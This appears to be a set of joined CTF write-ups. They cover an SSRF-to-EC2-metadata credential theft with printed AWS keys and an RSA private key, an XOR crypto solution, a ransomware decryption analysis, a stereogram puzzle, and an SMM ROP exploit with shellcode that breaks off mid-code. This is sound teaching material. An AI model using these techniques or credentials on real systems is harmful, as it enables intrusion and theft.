And trying to get it from secrets manager in the same way as in part 3 does give it to us:```# values from http://3.64.214.139/request?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2_role└─$ AWS_REGION=eu-central-1 AWS_ACCESS_KEY_ID=ASIA22D7J5LEG4ULKCMY AWS_SECRET_ACCESS_KEY=x2lHGw7gV22YKmPwdjOwd6d4/pnGQJmhYjFzS006 AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDkaDGV1LWNlbnRyYWwtMSJHMEUCIQCrFm5Av1/CJWWsc+dE3h7JZcT1aPbpUOFUgH5yjQLI7AIgdv3bHYhxwXZggOyLxc3EB/+xzEC9M+Cj4iN02y6D+okq5QQIov//////////ARAAGgw3NDMyOTYzMzA0NDAiDL473aAatXJmk205fSq5BIKYe+pVGNFCi+Tjs8uq/ptjW2IdNgt2KSEvhi33ehITVUa1W+g7wEQItuFZtTXQP9mcM8cJi0MCoTaVh0bhAQ/Ba050HEKteEUa6u9z5Ozmxi8d4AHqiZf+o6WqoRdpnGdi/bmo/qhGgVXspYk6oTO8Tn5xQQCX+ro/ofC8z0EKm7AIOxCKz3FByw9745xbnJHX5KUecmfxh3f0EHBabAprSrUowCu7++ZFaAAx+/3vJOjmwzOT0/8tZKdBDmRT25LAz1IjDlj17M2p4ln0kVCFVEyZpuQGX06HpcGML6aF0SmFiehzS3T6qU41ARIURV6bIh77Qjw3s9XW4dJqI01Xbuqs3OwyR7qYj0/Bswl2osvQw4EP3OQGdDVzMm7BAPOzvnRxNPpSGnjfFsIJMRI+R+qYd7X3zdjhb95HLqMEvIfJobn1H99uKoc3Td+IENLzPjm60I0K3yUoduD1yJETH0YmAipa5FmZUOKIXeBahx6hVAfAQI3Gn5IzWitjbz+Ag5wojsb0eAwon56T8TEfwSqmyqtt80Ivp8rytaaCssHZdMt9/0ZhSN3H/RlyWwG6tyBsuHgFMt/z/jmraFZOv5F2Lvph+kwhXtVFFwb7JG6iBZ/ULI1pxPFbu9VYT/JMJDudUN16wFnPrseehkiI2MJicJn437dS2fvRzGG9eQpvSfEogHY0QvFJHaEh8yCM/xcT7cFAkMlrl2P/H2h1CXqJTWoWNYLucOqOza2BuGDWdt95lNxSMPf24pcGOqkB+XCveLhcIheCVcbgvboDHUSaEaeHV+eE51IWbeYQahNa1j1bdlczykZH4tQaJi4sQBWAWqbYOKrU2ciepdTGys1GToOZ75qk4Y3/Nx34PZ0aTMY7fCtGpgcZ/bNvKtghRrSk/7pzS2JiL92GzvFmAvyYFB1eGUSvI2Y6pLI7mGac425OIXoCgTlQpnxRxLB37FLvW+NjGGfQ5da3W9bLShY2Ajz+j7ae3g== aws secretsmanager get-secret-value --secret-id webserver-private-key { "ARN": "arn:aws:secretsmanager:eu-central-1:743296330440:secret:webserver-private-key-EF74VV", "Name": "webserver-private-key", "VersionId": "d47bca13-b170-402e-b85c-abb8545c83df", "SecretString": "{\"webserver-private-key\":\"-----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAnI1bU1rn5qJtOeDsWItrZzShl/39NabtmsA+lOlTaGhzRxDH wYp5s2KddUsxc+G+boLpr9SfA9xDuXsMlZN3iWoX0Em4wQlEjT/2WTI0CPaabnZy ATDdvOsIVQ7QIEJixEu0X2EVNJ7MwdndsHIB+xbRuk/iKezCh4IAmlMWezlC1pcu XZnUJSa/9IEBnemafgMjj6AFnbP/+mDQA3Pu19WQAMKX05QvhE52xWa9AHoqd5+j 1+ajD9uUhcLxwSa45vPJnZykeuk3+LGSppiN5Dvynam8+laLsa9nD/oqVVqA4tpu TBsYJ9U7ZHmCAqGY75HATC8CFjrgrEQ1bxrl1wIDAQABAoIBAGowA6MthSDOSbI5 m3aP0uElNPqooCjVOlN+VLSi8x1dw9uPST9BEz2XBWC7CScmFwpUp/fJC7cNn65f BXErnqhJmy9/4d6lz6bTnOBxihQOWT/V/YxLPgxXi8ZODuPiw6WMCCOt8TlJAW/3 vERjgG500vtCFhED9AsAJjKHazdW1eZVf5C8jUQLlgAOGDswoBCAFEfz+jt+JawM XQtMMpc/oIuYFYDd6XRDjJaF9o/fjriL4THs5GM/DTr6+6Tijut5cWFnAd1BdGMz vFUwljZEoNKkFxyXrXgCdo3qsqHSzIq2WXjYTrpgCpdPTG1xALkQv+qHmTCowydD Wpkz0okCgYEA3GBsWEfQe6iZcvj81QF2APmh0IlKJmqvZiDQVn8cEY/Y7LTRHZmZ AlWO9xG5zTpBoCsCVnJezSHFl9TmRmDdCSI64qZmADVFzCPjzQRn6bafMr91iWRB tgQToDd7NYUHyKljAiQ1mQ7loFVXVfBvdrGFzcQm5sjWxxQV2qlyqGUCgYEAtdvD biFH1ALlbz0KWVmvDZHPH+Wp6/yxMaolO2jGJdW8JqfbeN+ZRgORXvfIY4Xwfjpg 28ZZPRmKOkDTyR8eeo/WFs+6brCVvAC1eN+sIfb3lASrBTetVeVa3uviePi4IbCb aKLTuKLltNQAd4USXGsVkJmNkhECYlomLYEGq4sCgYAxP8M2v2XSHM2eKhKmr5rl gOQurF/L0g+8rRyiF+n36sO5sncBPHA7W0+F24pAWQKNfs8Y7ppNEX0M/2Eu3TrI bcPnHvSwmzcr9eFU0eU/D7boKm1j9OnSeXrBVWTNgxtINsKPmfP4bqHWgPvxkrf2 OJoEcA+Zh8yn1M9FfJTJGQKBgBJn6LK3yZZKqMAGdIqwiggcjtMSoo0Q6To2l0gZ BZ0EseNTr+He95tfdxIej/iKsNmFvRHhVFzbveLBdu3vKV2MO0XZxmu3kaASjktq j/hsD4i6pDiF9xQvf2/6fdRyj+hRAJmpiTYxvn/7yQRPwpj5+ZfGAs8ay5v6tcx7 N5qbAoGAYHt15ijLFX+IDo9Gn6iTSVkrIyTKLaxcnY+w5NOFcAiCmyhgcIraR8fb KWLGh5Un5vFctIeYQFELOAwhqes+1/AQ5sVytS6XfxJxuln9wt30+q/L+wKztRov CmXUqxq+YvN39U0irSw9B+eOFR3oMXjM3QQwvrMsqxMdi7TZJ6A= -----END RSA PRIVATE KEY-----\"}", "VersionStages": [ "AWSCURRENT" ], "CreatedDate": "2022-08-11T02:54:58.374000+03:00"}```
Giving us the private key:```-----BEGIN RSA PRIVATE KEY-----MIIEogIBAAKCAQEAnI1bU1rn5qJtOeDsWItrZzShl/39NabtmsA+lOlTaGhzRxDHwYp5s2KddUsxc+G+boLpr9SfA9xDuXsMlZN3iWoX0Em4wQlEjT/2WTI0CPaabnZyATDdvOsIVQ7QIEJixEu0X2EVNJ7MwdndsHIB+xbRuk/iKezCh4IAmlMWezlC1pcuXZnUJSa/9IEBnemafgMjj6AFnbP/+mDQA3Pu19WQAMKX05QvhE52xWa9AHoqd5+j1+ajD9uUhcLxwSa45vPJnZykeuk3+LGSppiN5Dvynam8+laLsa9nD/oqVVqA4tpuTBsYJ9U7ZHmCAqGY75HATC8CFjrgrEQ1bxrl1wIDAQABAoIBAGowA6MthSDOSbI5m3aP0uElNPqooCjVOlN+VLSi8x1dw9uPST9BEz2XBWC7CScmFwpUp/fJC7cNn65fBXErnqhJmy9/4d6lz6bTnOBxihQOWT/V/YxLPgxXi8ZODuPiw6WMCCOt8TlJAW/3vERjgG500vtCFhED9AsAJjKHazdW1eZVf5C8jUQLlgAOGDswoBCAFEfz+jt+JawMXQtMMpc/oIuYFYDd6XRDjJaF9o/fjriL4THs5GM/DTr6+6Tijut5cWFnAd1BdGMzvFUwljZEoNKkFxyXrXgCdo3qsqHSzIq2WXjYTrpgCpdPTG1xALkQv+qHmTCowydDWpkz0okCgYEA3GBsWEfQe6iZcvj81QF2APmh0IlKJmqvZiDQVn8cEY/Y7LTRHZmZAlWO9xG5zTpBoCsCVnJezSHFl9TmRmDdCSI64qZmADVFzCPjzQRn6bafMr91iWRBtgQToDd7NYUHyKljAiQ1mQ7loFVXVfBvdrGFzcQm5sjWxxQV2qlyqGUCgYEAtdvDbiFH1ALlbz0KWVmvDZHPH+Wp6/yxMaolO2jGJdW8JqfbeN+ZRgORXvfIY4Xwfjpg28ZZPRmKOkDTyR8eeo/WFs+6brCVvAC1eN+sIfb3lASrBTetVeVa3uviePi4IbCbaKLTuKLltNQAd4USXGsVkJmNkhECYlomLYEGq4sCgYAxP8M2v2XSHM2eKhKmr5rlgOQurF/L0g+8rRyiF+n36sO5sncBPHA7W0+F24pAWQKNfs8Y7ppNEX0M/2Eu3TrIbcPnHvSwmzcr9eFU0eU/D7boKm1j9OnSeXrBVWTNgxtINsKPmfP4bqHWgPvxkrf2OJoEcA+Zh8yn1M9FfJTJGQKBgBJn6LK3yZZKqMAGdIqwiggcjtMSoo0Q6To2l0gZBZ0EseNTr+He95tfdxIej/iKsNmFvRHhVFzbveLBdu3vKV2MO0XZxmu3kaASjktqj/hsD4i6pDiF9xQvf2/6fdRyj+hRAJmpiTYxvn/7yQRPwpj5+ZfGAs8ay5v6tcx7N5qbAoGAYHt15ijLFX+IDo9Gn6iTSVkrIyTKLaxcnY+w5NOFcAiCmyhgcIraR8fbKWLGh5Un5vFctIeYQFELOAwhqes+1/AQ5sVytS6XfxJxuln9wt30+q/L+wKztRovCmXUqxq+YvN39U0irSw9B+eOFR3oMXjM3QQwvrMsqxMdi7TZJ6A=-----END RSA PRIVATE KEY-----```
In the previous part, we also found out that there was `ec2nullconadmin` user added with a public key setup:```└─$ ssh -i cloud.key [email protected]Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-1022-aws x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage
System information as of Sun Aug 14 12:07:04 UTC 2022
System load: 0.0 Processes: 134 Usage of /: 7.4% of 48.41GB Users logged in: 0 Memory usage: 4% IPv4 address for docker0: 172.17.0.1 Swap usage: 0% IPv4 address for ens5: 10.0.1.102
* Ubuntu Pro delivers the most comprehensive open source security and compliance features.
https://ubuntu.com/aws/pro
66 updates can be applied immediately.To see these additional updates run: apt list --upgradable
*** System restart required ***Last login: Sun Aug 14 07:57:16 2022 from x.x.x.xec2nullconadmin@ip-10-0-1-102:~$ ls -alltotal 48drwxr-xr-x 7 ec2nullconadmin ec2nullconadmin 4096 Aug 13 16:19 .drwxr-xr-x 4 root root 4096 Aug 11 20:26 ..drwxr-xr-x 2 root root 4096 Aug 11 20:34 .awslrwxrwxrwx 1 ec2nullconadmin ec2nullconadmin 9 Aug 13 16:14 .bash_history -> /dev/null-rw-r--r-- 1 ec2nullconadmin ec2nullconadmin 220 Feb 25 2020 .bash_logout-rw-r--r-- 1 ec2nullconadmin ec2nullconadmin 3771 Feb 25 2020 .bashrcdrwx------ 2 ec2nullconadmin ec2nullconadmin 4096 Aug 11 20:28 .cachedrwx------ 3 ec2nullconadmin ec2nullconadmin 4096 Aug 13 16:12 .configdrwxrwxr-x 3 ec2nullconadmin ec2nullconadmin 4096 Aug 13 16:12 .local-rw-r--r-- 1 ec2nullconadmin ec2nullconadmin 807 Feb 25 2020 .profile-rw-rw-r-- 1 ec2nullconadmin ec2nullconadmin 66 Aug 13 16:12 .selected_editordrwx------ 2 ec2nullconadmin ec2nullconadmin 4096 Aug 11 20:26 .ssh-rw------- 1 ec2nullconadmin ec2nullconadmin 819 Aug 13 16:19 .viminfoec2nullconadmin@ip-10-0-1-102:~$ cat .aws/credentials [flag]aws_access_key_id = AKIA22D7J5LEJWNH7NXRaws_secret_access_key = cfN2WV0UI+MVg06U4bk7z9hknLqVKxXj0FvLbqI8ec2nullconadmin@ip-10-0-1-102:~$ aws sts get-caller-identity --profile=flag{ "UserId": "AIDA22D7J5LEJYPCNY63H", "Account": "743296330440", "Arn": "arn:aws:iam::743296330440:user/ENO-Y0uR0ck_Docker_Escapes_with0ut_Root"}```
Flag: `ENO-Y0uR0ck_Docker_Escapes_with0ut_Root` |
# Non-textual Troubles**Category**: Crypto\**Author**: Javad\**Difficulty**: Beginner
### DescriptionAfter messing up the implementation, I have decided that this is a feature and not a flaw.
*Note: Intended solution uses Python 3*
### SolutionIt turn out that in Python 3, attempting to write non-ASCII characters to a file without using 'binary mode' (a mode which deals with 'non-textual data', hence the name of the challenge) has some less-than ideal results. Indeed, if you tried providing your own plain-text to `xor.py` you might have noticed that there are somehow more bytes in the cipher-text after XORing that you started with in your plaintext. Ultimately, it appears that the `write.write(ciphertext)` function is prepending either 0xc2 or 0xc3 to certain bytes. Simply adding a condition to exclude these, and providing the cipher-text as the input (since XOR is the inverse of itself) will provide a simple solution to this puzzle.
```pyfrom random import seed, randrange
seed(True, version=2)
with open("plaintext.txt", 'r') as read, open("ciphertext.txt", 'w') as write: plaintext = read.read()
for char in plaintext: A = ord(char) if A != 194 and A != 195: # exclude 0xc2 and 0xc3 B = randrange(256) ciphertext = chr(A ^ B) print(bytes([A ^ B])) write.write(ciphertext)```
**Flag**: `UACTF{b4d_h4b175_l34d_70_py7h0n2}` |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/pwn/no-syscalls-allowed/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/pwn/no-syscalls-allowed/README.md) |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/jail/a-horse-with-no-names/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/jail/a-horse-with-no-names/README.md) |
# Mr Abilgate
**_"Mr. Abilgate, the CFO of a Fortune 500 company, has reportedly been the victim of a recent spree of ransomware attacks. The behaviour of the malware seems consistent with our current APT target's tactics, but the ransom note makes us think it's a targeted attack. We suspect bad faith from corporate espionage gone wrong. Could you investigate?"_**
Mr Abilgate was a medium difficulty reversing challenge from the Business CTF organized by HTB in 2022. Initially, we are provided with two files, a Windows PE32 and what seems to be an Excel spreadsheet that has been encrypted by a ransomware. Let's start by analysing the behaviour of the included "KeyStorage" executable by monitoring its activity with [Procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon).
Upon running the executable, one event in particular caught my attention.
As we can see, the program is trying to access `C:\Users\Administrator\Desktop\ShipSalesThisIsSuperImportantPleaseDontDelete` with result `PATH NOT FOUND`. This seems to be the path where the ransomware tries to encrypt files from so let's create a test file inside it, adjust the path permissions properly and run the ransomware again. 
Checking the contents of the newly generated `test.txt.bhtbr` file with xxd reveals that the file is indeed encrypted. We got the ransomware working as intended!

The first thing I tried from this point was to load the executable into Ghidra praying that no obfuscation was being used, but I quickly gave up after not getting any useful information for a while and opted for a dynamic analysis approach instead.
In order to discover what this ransomware is really doing to the files and what kind of encryption it is using, I decided to leverage FRIDA's dynamic instrumentation capabilities. In this writeup, I won't go in depth with how this framework is used, but there are amazing resources out there such as [learnfrida.info](https://learnfrida.info/) that explain everything needed to solve this challenge.
My first step was to enumerate the modules that the process had loaded. For this, run "KeyStorage.exe" with FRIDA using the following commands:1. `frida -f .\KeyStorage.exe`2. `Process.enumerateModules()`
Aha! Two crypto-related modules were loaded, `CRYPT32.dll` and `bcrypt.dll`.
Then, I used FRIDA to try and trace calls to functions with the string "crypt" in their name. As a side note, remember to create a new test file inside the aforementioned path for each run so the ransomware has new files to encrypt.
`frida-trace -f .\KeyStorage.exe -i "*crypt*/i"`

Hmm so BCrypt is indeed being used to encrypt the files but we don't know yet which algorithms are being applied. But before getting into that, there are some things that can be deduced from this trace. Three main sections stand out to me, a first one where some data is hashed, a second one where an encryption key is generated and lastly, a third one where the file is encrypted.
After looking up in [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/win32/api/bcrypt/) every function of the trace, I learned that the calls to `BCryptOpenAlgorithmProvider` are used to initialize a crypto provider with a string that identifies the crypto algorithm to apply as an argument. 
A FRIDA handler can be used for this function to get the parameters that indicate the algorithms being used for each of the two calls.```javascriptonEnter(log, args, state) { log('BCryptOpenAlgorithmProvider()'); console.log("\n Entering BCryptOpenAlgorithmProvider()..."); console.log(args[1].readUtf16String()); console.log(args[2].readUtf16String()); }```
With this, we now know that one provider is dedicated to the initial hashing with SHA256 while the other handles file encryption with AES.
Reading the documentation also taught me that the function `BCryptGenerateSymmetricKey` derives a new key from a supplied one and that `BCryptFinishHash` is used to return the generated hash. One could think that the hashed bytes are being used to generate a key which then will be used to encrypt the files. This can also be tested by checking the arguments for some of the BCrypt functions with FRIDA hooks.
*`BCryptFinishHash` Return value. Since the output is constant between runs we can skip the hashing part for our decryption tool.*
*`BCryptGenerateSymmetricKey` uses the hashed bytes as its input key!*
*Trace of `BCryptGenerateSymmetricKey` and `BCryptEncrypt`.*
Now we know everything we need to create a program that decrypts the provided spreadsheet. Let's recap:- Some constant bytes are hashed with SHA256 at the beginning.- The resulting bytes are derived to generate an encryption key.- The bytes of the target file are encrypted using AES with the generated key.- The encrypted result is written to disk with name \*.bhtbr
Since programming C++ code for Windows can be a bit cumbersome (at least for me) I based the code on this [Microsoft tutorial](https://docs.microsoft.com/en-us/windows/win32/seccng/encrypting-data-with-cng) about how to properly use the BCrypt API to encrypt/decrypt data.
After some trial and error, this is a working proof of concept in C++ that decrypts files encrypted by the provided ransomware.
```c++#include "Windows.h"#include <bcrypt.h>#include "stdint.h"#include <iostream>#include <fstream>#include <vector>#pragma comment(lib, "bcrypt.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
using namespace std;
vector<char> readFile(const char* path){ ifstream ifd(path, ios::binary | ios::ate); if (!ifd){ wprintf(L"Couldn't open input file\n"); exit(1); }
int size = ifd.tellg(); ifd.seekg(0, ios::beg); vector<char> buffer; buffer.resize(size); ifd.read(buffer.data(), size); ifd.close();
return buffer;}
bool writeFile(const char* path, char* pbPlainFile, size_t cbPlainFile){ bool success = true;
ofstream ofd(path, ios::out | ios::binary); if (!ofd) { wprintf(L"Couldnt open output file\n"); exit(1); }
ofd.write(pbPlainFile, cbPlainFile); ofd.close(); if (!ofd.good()) success = false; return success;}
int main(int argc, char** argv){
NTSTATUS status = STATUS_UNSUCCESSFUL; BCRYPT_ALG_HANDLE hAesAlg = NULL; BCRYPT_KEY_HANDLE hKey = NULL; PBYTE pbKeyObject = NULL; DWORD cbKeyObject = 0; DWORD cbData = 0; DWORD cbCipherText = 0; PBYTE pbEncFile = NULL; DWORD cbEncFile = 0; PBYTE pbPlainFile = NULL; DWORD cbPlainFile = 0; DWORD cbBlockLen = 0;
if (argc < 3){ wprintf(L"Usage %hs <encrypted_file> <output_file>", argv[0]); exit(1); }
char* inputFilePath = argv[1]; char* outputFilePath = argv[2]; wprintf(L"Recovering %hs...\n", inputFilePath);
vector<char> file_vector = readFile(inputFilePath); uint8_t* enc_data = (uint8_t*)file_vector.data(); cbEncFile = file_vector.size();
// This is the result of the BCryptFinishHash function call. const uint8_t initial_key[32] = { 0x49, 0x3B, 0x94, 0x2E, 0xF1, 0x6B, 0xF5, 0x9D, 0x72, 0x54, 0xBB, 0x9A, 0x64, 0x6A, 0xC3, 0x39, 0x57, 0x8C, 0x8E, 0xDE, 0x50, 0xAC, 0xC9, 0xD2, 0x0A, 0x13, 0xC6, 0xF1, 0x4F, 0x68, 0xD5, 0x93 }; // Open an algorithm handle. if(!NT_SUCCESS(status = BCryptOpenAlgorithmProvider( &hAesAlg, BCRYPT_AES_ALGORITHM, NULL, 0))) { wprintf(L"**** Error 0x%x returned by BCryptOpenAlgorithmProvider\n", status); }
// Calculate the size of the buffer to hold the KeyObject. if(!NT_SUCCESS(status = BCryptGetProperty( hAesAlg, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbData, 0))) { wprintf(L"**** Error 0x%x returned by BCryptGetProperty\n", status); }
// Allocate the key object on the heap. pbKeyObject = (PBYTE)HeapAlloc (GetProcessHeap (), 0, cbKeyObject); if(NULL == pbKeyObject) { wprintf(L"**** memory allocation failed\n"); }
if(!NT_SUCCESS(status = BCryptGenerateSymmetricKey( hAesAlg, &hKey, pbKeyObject, cbKeyObject, (PBYTE)initial_key, sizeof(initial_key), 0))) { wprintf(L"**** Error 0x%x returned by BCryptGenerateSymmetricKey\n", status); }
// Get the size of the decrypted byte array pbEncFile = enc_data; if(!NT_SUCCESS(status = BCryptDecrypt( hKey, pbEncFile, cbEncFile, NULL, NULL, NULL, NULL, 0, &cbPlainFile, NULL))) { wprintf(L"**** Error 0x%x returned by BCryptDecrypt\n", status); }
// Allocate the decrypted byte array on the heap pbPlainFile = (PBYTE)HeapAlloc (GetProcessHeap (), 0, cbPlainFile); if(NULL == pbPlainFile) { wprintf(L"**** memory allocation failed\n"); }
// Decrypt the byte array if(!NT_SUCCESS(status = BCryptDecrypt( hKey, pbEncFile, cbEncFile, NULL, NULL, NULL, pbPlainFile, cbPlainFile, &cbPlainFile, NULL))) { wprintf(L"**** Error 0x%x returned by BCryptDecrypt\n", status); }
if (writeFile(outputFilePath, (char*)pbPlainFile, cbPlainFile)){ wprintf(L"Success! Recovered file written to %hs\n", outputFilePath); } else { wprintf(L"Error writing the output to a file.\nOUTPUT:"); for (unsigned i = 0; i < cbPlainFile; ++i){ printf("%02x ", pbPlainFile[i]); } }}```
Running it against the encrypted spreadsheet leaves us with the decrypted file where the flag is located!**FLAG**: `_HTB{b1g_br41ns_b1gg3r_p0ck3ts_sm4ll3r_p4y0uts}`
 |
# Blurry-Eyed**Category**: Misc\**Author**: Javad\**Difficulty**: Beginner
### DescriptionI don't know about you, but I like my images in stereo.
### SolutionBased on the description, you may have determined that we are dealing with an [autostereogram](https://en.wikipedia.org/wiki/Autostereogram), better known as a [magic eye](https://en.wikipedia.org/wiki/Magic_Eye) puzzle. As such, theoretically you can just stare at the picture with great intensity until the flag reveals itself to you. If you did manage to solve this challenge with only your eyes then you are amazing. Discerning simple shapes are difficult, let alone a short sentence.
If you are a mere mortal, an alternative way to solve this challenge is to use any number of the online sterogram solving tools that exist ([this one's](http://magiceye.ecksdee.co.uk/) pretty good). Alternatively you can open up GIMP and put the image on two layers. Then set the blending mode of the top layer to 'difference' and drag the top layer along the horizontal axis until you get something like this:

Regardless of what solution you use, the shape of the letters should bear resemblance to the original image, shown below.

**Flag:** `UACTF{r34l17y_1n_3d}` |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/jail/safepy/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/jail/safepy/README.md) |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/pwn/odd-shell/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf22/pwn/odd-shell/README.md) |
# SMM Cowsay 3
**Author**: [@mebeim](https://twitter.com/mebeim) - **Full exploit**: [expl_smm_cowasy_3.py][expl3]
**NOTE**: introductory info can be found in [the writeup for SMM Cowsay 1](https://ctftime.org/writeup/34881) and in [the one for for SMM Cowsay 2](https://ctftime.org/writeup/34882).
> We fired that engineer. Unfortunately, other engineers refused to touch this> code, but instead suggested to integrate some ASLR code found online.> Additionally, we hardened the system with SMM_CODE_CHK_EN and kept DEP on. Now> that we have the monster combination of ASLR+DEP, we should surely be secure,> right?
Things get a bit more complicated now, but honestly not that much. The code for`SmmCowsay.efi` is unchanged, so the vulnerability is still the same, but theEDK2 and QEMU patches now apply two major modifications:
1. `SMM_CODE_CHK_EN` has been enabled: this is a bit in the `MSR_SMM_FEATURE_CONTROL` MSR, which controls whether SMM can execute code outside of the ranges defined by two other MSRs: `IA32_SMRR_PHYSBASE` and `IA32_SMRR_PHYSMASK` (basically outside SMRAM). The "Lock" bit of `MSR_SMM_FEATURE_CONTROL` is also set in QEMU when setting `SMM_CODE_CHK_EN`, so this check cannot be disabled.
This isn't really a problem since we weren't really executing any code outside SMRAM. We can already get what we want with a simple ROP chain that utilizes code already present in SMRAM, assuming we find the right gadgets.
2. ASLR has been added to EDK2 (original patches from [jyao1/SecurityEx][gh-edk2-securityex] with some slight changes): now every single driver is loaded at a different address that changes each boot, with 10 bits of entropy taken using [the `rdrand` instruction][x86-rdrand]. Needless to say, this makes using hardcoded addresses like we did for the previous exploit impossible.
## Exploitation
### Defeating ASLR
How do we leak some SMM address in order to defeat ASLR? Well, there are a bunchof protocols registered by EDK2 drivers. Each protocol has its own GUID, andcalling `BootServices->LocateProtocol` with a valid GUID will return a pointerto the protocol struct (if present), *which resides in the driver implementingthe protocol!* This allows us to leak the base address (after a simplesubtraction) of any driver implementing a protocol that is registered at thetime of the execution of our code.
If we take a look at [the file `MdePkg/MdePkg.dec`][edk2-MdePkg] in the EDK2source code we have a bunch of GUIDs for different protocols. Without evenwasting time inspecting other parts of the source code, we can dump them all andtry requesting every single one of them, until we find an address that looksinteresting.
Again, patching the `run.sh` script to let QEMU dump EDK2 debug output to a filelike we did for SMM Cowsay 2, we can find SMBASE, which I assumed as the startaddress of SMRAM when writing the exploit. *In theory, SMRAM can expand beforeand after SMBASE, which according to Intel Doc just marks the base address usedto find the entry point for the SMI handler and the save state area.*
```CPU[000] APIC ID=0000 SMBASE=07FAF000 SaveState=07FBEC00 Size=00000400```
Now, using the same code we used for both the previous challenges, we can checkevery single protocol GUID listed in `MdePkg/MdePkg.dec` and see if the addressreturned is after SMBASE:
```pythonwith open('debug.log') as f: for line in f: if line.startswith('CPU[000] APIC ID=0000 SMBASE='): smbase = int(line[31:31 + 8], 16)
# Manually or programmatically extract GUIDs from MdePkg/MdePkg.dec
for guid in guids: code = asm(f''' /* LocateProtocol(&guid, NULL, &protocol) */ lea rcx, qword ptr [rip + guid] xor rdx, rdx lea r8, qword ptr [rip + protocol] mov rax, {LocateProtocol} call rax
test rax, rax jnz fail
mov rax, qword ptr [rip + protocol] ret
fail: ud2
guid: .octa {guid} protocol: ''') conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x') proto = int(conn.recvn(16), 16)
if proto > smbase: log.info('Interesting protocol: GUID = 0x%x, ADDR = 0x%x', guid, proto)```
Surely enough, by letting the script run for enough time, we find that`gEfiSmmConfigurationProtocolGuid` returns a pointer to a protocol at a niceaddress. Looking at the `debug.log` for loaded drivers we can see that thisaddress is inside the `PiSmmCpuDxeSmm.efi` SMM driver, and a simple subtractiongives us its base address.
### Finding ROP gadgets
Now we can take a look at the gadgets in `PiSmmCpuDxeSmm.efi`. As it turns out,we were lucky enough:
- Looking from GDB, we still have R13, R14 and R15 spilled on the SMI stack at the exact same offset.- We can move the stack pointer forward: `ret 0x6d`- We can flip the stack: `pop rsp; ret`- We can pop RAX and other registers: `pop rax ; pop rbx ; pop r12 ; ret`- We can set CR0: `mov cr0, rax ; wbinvd ; ret`- We have a write-what-where primitive: `mov qword ptr [rbx], rax ; pop rbx ; ret`
We do not have a lot more nice gadgets to work with, so this time instead ofwriting the entire exploit using ROP, after disabling CR0.WP, we will just usethe write-what-where gadget to overwrite a piece of `.text` of`PiSmmCpuDxeSmm.efi` with a stage 2 shellcode, and then simply jump to it.
The only slightly annoying part is the `ret 0x6d` gadget to move the stackforward: it will result in a misaligned stack, landing in the 2 most significantbytes of the R13 value spilled on the stack. This isn't a real problem asthankfully the CPU (or better, QEMU) does not seem to care about the unalignedstack pointer. We'll simply have to do some bit shifting to put values on thestack nicely using R{13,14,15}.
```python# SmmConfigurationProtocol leaked using LocateProtocol(gEfiSmmConfigurationProtocolGuid)PiSmmCpuDxeSmm_base = SmmConfigurationProtocol - 0x16210PiSmmCpuDxeSmm_text = PiSmmCpuDxeSmm_base + 0x1000
log.success('SmmConfigurationProtocol @ 0x%x', SmmConfigurationProtocol)log.success('=> PiSmmCpuDxeSmm.efi @ 0x%x', PiSmmCpuDxeSmm_base)log.success('=> PiSmmCpuDxeSmm.efi .text @ 0x%x', PiSmmCpuDxeSmm_text)
new_smm_stack = buffer + 0x800ret_0x6d = PiSmmCpuDxeSmm_base + 0xfc8a # ret 0x6dflip_stack = PiSmmCpuDxeSmm_base + 0x3c1c # pop rsp ; retpop_rax_rbx_r12 = PiSmmCpuDxeSmm_base + 0xd228 # pop rax ; pop rbx ; pop r12 ; retmov_cr0_rax = PiSmmCpuDxeSmm_base + 0x10a7d # mov cr0, rax ; wbinvd ; retwrite_primitive = PiSmmCpuDxeSmm_base + 0x3b8f # mov qword ptr [rbx], rax ; pop rbx ; ret
payload = 'A'.encode('utf-16-le') * 200 + p64(ret_0x6d)```
### Second stage shellcode
As we just said we will make our ROP chain with a few gadgets that will write asecond stage shellcode into the `.text` of `PiSmmCpuDxeSmm.efi` and then jump toit. This shellcode will have to walk the page table (this time we cannotpre-compute the address of the PTE because of ASLR), set the present bit on thePTE and then read the flag into (one or more) registers.
```pythonstage2_shellcode = asm(f''' movabs rbx, 0xffffffff000
/* Walk page table */ mov rax, cr3 mov rax, qword ptr [rax] and rax, rbx mov rax, qword ptr [rax + 8 * 0x1] and rax, rbx mov rax, qword ptr [rax + 8 * 0x22] and rax, rbx mov rbx, rax mov rax, qword ptr [rax + 8 * 0x40]
/* Set present bit */ or al, 1 mov qword ptr [rbx + 8 * 0x40], rax
/* Read flag and die so regs get dumped, GG! */ movabs rax, 0x44440000 mov rax, qword ptr [rax] ud2''')```
Again, we can run the exploit multiple times changing that `0x44440000` to leak8 bytes at a time and obtain the full flag.
### Putting it all together
Now we can build the ROP chain and send the exploit in the same way we did forSMM Cowsay 2:
```pythonreal_chain = [ # Unset CR0.WP pop_rax_rbx_r12, # pop rax ; pop rbx ; pop r12 ; ret 0x80000033 , # -> RAX 0xdeadbeef , # filler 0xdeadbeef , # filler mov_cr0_rax , # mov cr0, rax ; wbinvd ; ret]
# Now that CR0.WP is unset, we can just patch SMM code and jump to it!# Make the ROP chain write the stage 2 shellcode at PiSmmCpuDxeSmm_text# 8 bytes at a time, then jump into itfor i in range(0, len(stage2_shellcode), 8): chunk = stage2_shellcode[i:i + 8].ljust(8, b'\x90') chunk = u64(chunk)
